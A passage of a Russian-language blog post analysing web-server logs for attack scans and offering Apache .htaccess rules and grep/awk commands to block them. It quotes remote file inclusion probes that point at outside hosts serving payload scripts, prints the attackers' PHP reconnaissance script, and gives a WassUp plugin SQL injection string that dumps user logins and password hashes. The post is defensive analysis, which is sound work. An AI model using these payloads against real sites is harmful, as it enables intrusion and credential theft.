80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] &amp;quot;GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86232 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 69530 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] &amp;quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] &amp;quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90888 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] &amp;quot;GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] &amp;quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86208 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] &amp;quot;GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 76404 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.8&lt;br /&gt;
05&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то &lt;a href="http://blog.sjinks.org.ua/tag/%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d1%8c/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with уязвимость"&gt;уязвимость&lt;/a&gt; (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл &lt;code&gt;&amp;#x68;ttp://www.mykr.net/bbs/id.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36124"&gt;
        &lt;div class="code php" id="p361code24"&gt;
&lt;span class="kw2"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ryey&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw3"&gt;php_uname&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb2&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;system&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;uptime&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb3&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;system&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;id&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb4&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw3"&gt;getcwd&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb5&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;getenv&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;&amp;quot;SERVER_SOFTWARE&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb6&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;phpversion&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb7&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="re0"&gt;$_SERVER&lt;/span&gt;&lt;span class="br0"&gt;&amp;#91;&lt;/span&gt;&lt;span class="st_h"&gt;'SERVER_NAME'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#93;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb8&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;gethostbyname&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="re0"&gt;$SERVER_ADDR&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$alb9&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="kw3"&gt;get_current_user&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="re0"&gt;$os&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="sy0"&gt;@&lt;/span&gt;&lt;span class="kw2"&gt;PHP_OS&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;os: $os&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;uname -a: $alb&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;uptime: $alb2&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;id: $alb3&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;pwd: $alb4&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;user: $alb9&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;phpv: $alb6&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;SoftWare: $alb5&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ServerName: $alb7&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ServerAddr: $alb8&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;echo&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;ryey ONLINE&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw3"&gt;exit&lt;/span&gt;;&lt;br /&gt;
&lt;span class="kw2"&gt;?&amp;gt;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36125"&gt;
        &lt;div class="code output" id="p361code25"&gt;
ryey&lt;br /&gt;
os: Linux&lt;br /&gt;
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64&lt;br /&gt;
uptime: &amp;nbsp;04:44:54 up 13:51, &amp;nbsp;3 users, &amp;nbsp;load average: 0.37, 0.26, 0.20&lt;br /&gt;
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...&lt;br /&gt;
pwd: /home/test&lt;br /&gt;
user: &lt;br /&gt;
phpv: 5.2.6-2ubuntu4&lt;br /&gt;
SoftWare: &lt;br /&gt;
ServerName: &lt;br /&gt;
ServerAddr: &lt;br /&gt;
ryey ONLINE
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.&lt;/p&gt;
&lt;p&gt;Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия &lt;a href="http://blog.sjinks.org.ua/tag/apache/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with Apache"&gt;Apache&lt;/a&gt; и &lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;PHP&lt;/a&gt;, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.&lt;/p&gt;
&lt;p&gt;Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 &lt;a href="http://bugs.typo3.org/view.php?id=9604&amp;#038;nbn=8" rel="nofollow"&gt;частично подвержена&lt;/a&gt; данной уязвимости:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36126"&gt;
        &lt;div class="code output" id="p361code26"&gt;
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).&lt;/p&gt;
&lt;p&gt;Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл.  Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.sjinks.org.ua/tag/%d1%81%d0%ba%d0%b0%d0%bd%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with сканирование"&gt;Сканирование&lt;/a&gt; может быть не таким явным: например,&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36127"&gt;
        &lt;div class="code output" id="p361code27"&gt;
&amp;quot;GET /_vti_bin/owssvr.dll?UL=1&amp;amp;ACT=4&amp;amp;BUILD=6254&amp;amp;STRMVER=4&amp;amp;CAPREQ=0 HTTP/1.1&amp;quot;&lt;br /&gt;
&amp;quot;GET /MSOffice/cltreq.asp?UL=1&amp;amp;ACT=4&amp;amp;BUILD=6254&amp;amp;STRMVER=4&amp;amp;CAPREQ=0 HTTP/1.1&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Так как я &lt;em&gt;знаю&lt;/em&gt;, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll&amp;nbsp;&amp;mdash;&amp;nbsp;это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;blockquote&gt;It is an attempt to gain admin rights (&lt;a href="http://blog.sjinks.org.ua/tag/hack/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with hack"&gt;hack&lt;/a&gt;).&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote cite="http://www.smarterscripts.com/forums/archive/index.php/t-306.html"&gt;You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.
&lt;p&gt;If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?&lt;/p&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;У каждого свой уровень паранойи (&lt;q&gt;my paranoia is probably worse&lt;/q&gt;), так что смотрите сами.&lt;/p&gt;
&lt;p&gt;Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36128"&gt;
        &lt;div class="code output" id="p361code28"&gt;
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;пытается использовать &lt;a href="http://blog.sjinks.org.ua/tag/%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d1%8c/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with уязвимость"&gt;уязвимость&lt;/a&gt; плагина &lt;a href="http://blog.sjinks.org.ua/?s=Wassup"&gt;WassUp&lt;/a&gt;; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.&lt;/p&gt;
&lt;p&gt;Частыми гостями в логе &lt;a href="http://blog.sjinks.org.ua/?s=nginx"&gt;nginx&lt;/a&gt; являются запросы вида&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36129"&gt;
        &lt;div class="code apache_log" id="p361code29"&gt;
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] &amp;quot;GET http://www.intel.com/ HTTP/1.1&amp;quot; 403 529 &amp;quot;-&amp;quot; &amp;quot;Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)&amp;quot;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Запросы рассчитаны на ошибки в реализациях прокси-серверов.&lt;/p&gt;
&lt;p&gt;Теперь переходим к вопросам анализа и противодействия.&lt;/p&gt;
&lt;p&gt;Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36130"&gt;
        &lt;div class="code bash" id="p361code30"&gt;
&lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="re5"&gt;-E&lt;/span&gt; &lt;span class="st0"&gt;'HTTP/1&lt;span class="es0"&gt;\.&lt;/span&gt;[01]&amp;quot; 404 '&lt;/span&gt; apache-log.txt &lt;span class="sy0"&gt;&amp;gt;&lt;/span&gt; 404.txt
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи &lt;code class="codebox bash"&gt;&lt;span class="kw2"&gt;grep&lt;/span&gt; &lt;span class="re5"&gt;-v&lt;/span&gt;&lt;/code&gt;, я не буду на этом подробно останавливаться.&lt;/p&gt;
&lt;p&gt;Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36131"&gt;
        &lt;div class="code bash" id="p361code31"&gt;
&lt;span class="kw2"&gt;cat&lt;/span&gt; 404.txt | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ print $1 }'&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; | &lt;span class="kw2"&gt;uniq&lt;/span&gt; &lt;span class="re5"&gt;-c&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; &lt;span class="re5"&gt;-n&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (&lt;a href="http://blog.sjinks.org.ua/tag/linux/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with Linux"&gt;Linux&lt;/a&gt; rules, однозначно):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36132"&gt;
        &lt;div class="code bash" id="p361code32"&gt;
&lt;span class="kw2"&gt;cat&lt;/span&gt; 404.txt | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ print $1 }'&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; | &lt;span class="kw2"&gt;uniq&lt;/span&gt; &lt;span class="re5"&gt;-c&lt;/span&gt; | &lt;span class="kw2"&gt;sort&lt;/span&gt; &lt;span class="re5"&gt;-n&lt;/span&gt; | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'{ if ($1 &amp;gt; 100) { system(&amp;quot;cat 404.txt | grep &amp;quot; $2 &amp;quot; &amp;gt;&amp;gt; filtered.txt&amp;quot;); } }'&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Файл &lt;code&gt;filtered.txt&lt;/code&gt; будет содержать интересующие нас запросы.&lt;/p&gt;
&lt;p&gt;Проанализировав &lt;em&gt;свой&lt;/em&gt; файл, я пришел к следующим результатам:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
&lt;pre class="code"&gt;
//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt&lt;strong style="color: red"&gt;?&lt;/strong&gt;
/sub.&lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;php&lt;/a&gt;?sub=http://61.19.234.26/test.txt&lt;strong style="color: red"&gt;???&lt;/strong&gt;
/admin.&lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;php&lt;/a&gt;?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt&lt;strong style="color: red"&gt;??&lt;/strong&gt;
&lt;/pre&gt;
Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как &lt;code&gt;%3F&lt;/code&gt;. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;&lt;/li&gt;
&lt;li&gt;запросы, ищущие уязвимости в реализации прокси, имеют вид &lt;code&gt;GET http://...&lt;/code&gt; или &lt;code&gt;GET /http://...&lt;/code&gt;. Тоже достаточно просто отловить.&lt;/li&gt;
&lt;li&gt;из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
&lt;pre class="code"&gt;
203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml&lt;strong style="color: red"&gt;///&lt;/strong&gt;safehtml/safehtml.&lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;php&lt;/a&gt;?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml&lt;strong style="color: red"&gt;//&lt;/strong&gt;wp-pass.&lt;a href="http://blog.sjinks.org.ua/tag/php/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with PHP"&gt;php&lt;/a&gt;?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
&lt;/pre&gt;
Удвоенный еще куда ни шло, но утроенный&amp;nbsp;&amp;mdash;&amp;nbsp;это перебор;&lt;/li&gt;
&lt;li&gt;у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо &lt;a href="http://blog.sjinks.org.ua/uncategorized/298-power-and-beauty-of-perl/"&gt;Perl&amp;nbsp;&amp;mdash;&amp;nbsp;истинно хакерский язык&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры &lt;code&gt;../&lt;/code&gt; (&lt;a href="http://blog.sjinks.org.ua/tag/linux/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with Linux"&gt;Linux&lt;/a&gt;/Windows) и/или &lt;code&gt;..\&lt;/code&gt; (Windows). Тоже легко ловится;&lt;/li&gt;
&lt;li&gt;как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их &lt;em&gt;может&lt;/em&gt; найти. А это именно то, что мы хотим избежать.&lt;/p&gt;
&lt;p&gt;А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36133"&gt;
        &lt;div class="code apache" id="p361code33"&gt;
&amp;lt;&lt;span class="kw3"&gt;IfModule&lt;/span&gt; mod_rewrite.c&amp;gt;&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteEngine&lt;/span&gt; &lt;span class="kw2"&gt;On&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} [^?]*\? [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (\.\./|\.\.\\) [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (///) [OR]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{THE_REQUEST} &lt;span class="st0"&gt;&amp;quot;^(GET|POST) /?https?:&amp;quot;&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteRule&lt;/span&gt; (.*) $&lt;span class="nu0"&gt;1&lt;/span&gt; [F]&lt;br /&gt;
&amp;lt;/&lt;span class="kw3"&gt;IfModule&lt;/span&gt;&amp;gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Первый &lt;code class="codebox apache"&gt;&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt;&lt;/code&gt; рассчитан на ботов, которые используют слишком много знаков вопроса, второй&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто пытается сделать обход файловой системы, третий&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто перебарщивает со слэшами и четвёртый&amp;nbsp;&amp;mdash;&amp;nbsp;на тех, кто пытается найти уязвимый прокси.&lt;/p&gt;
&lt;p&gt;Данное решение не является панацеей, но, тем не менее, довольно действенное.&lt;/p&gt;
&lt;p&gt;Есть одно очень радикальное средство: запретить доступ всем &lt;code&gt;libwww-perl&lt;/code&gt;:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36134"&gt;
        &lt;div class="code apache" id="p361code34"&gt;
&lt;span class="kw1"&gt;SetEnvIf&lt;/span&gt; User-Agent &lt;span class="st0"&gt;&amp;quot;^libwww-perl&amp;quot;&lt;/span&gt; badua&lt;br /&gt;
&lt;span class="kw1"&gt;Order&lt;/span&gt; &lt;span class="kw1"&gt;Allow&lt;/span&gt;,&lt;span class="kw1"&gt;Deny&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;Allow&lt;/span&gt; &lt;span class="kw1"&gt;from&lt;/span&gt; &lt;span class="kw1"&gt;all&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw1"&gt;Deny&lt;/span&gt; &lt;span class="kw1"&gt;from&lt;/span&gt; env=badua
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят&amp;hellip; (March 11, 2008)"&gt;Безопасность, о которой все так много говорят&amp;hellip;&lt;/a&gt; (10)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (April 10, 2008)"&gt;Уязвимости oDesk&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/" title="Как не нужно интегрировать платёжные системы (November 21, 2008)"&gt;Как не нужно интегрировать платёжные системы&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/196-vulnerability-in-safari-for-windows-proves-critical/" title="Доказана критичность уязвимости в Safari для Windows (June 15, 2008)"&gt;Доказана критичность уязвимости в Safari для Windows&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (July 16, 2008)"&gt;Водка с феназепамом? Или всё-таки правда?&lt;/a&gt; (6)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=8nDzWO"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=8nDzWO" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=x1IxN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=x1IxN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=YkO4N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=YkO4N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=B5sIn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=B5sIn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=UxcUn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=UxcUn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=1V2wN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=1V2wN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=cJTDn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=cJTDn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kPxoN"&gt;&lt;img 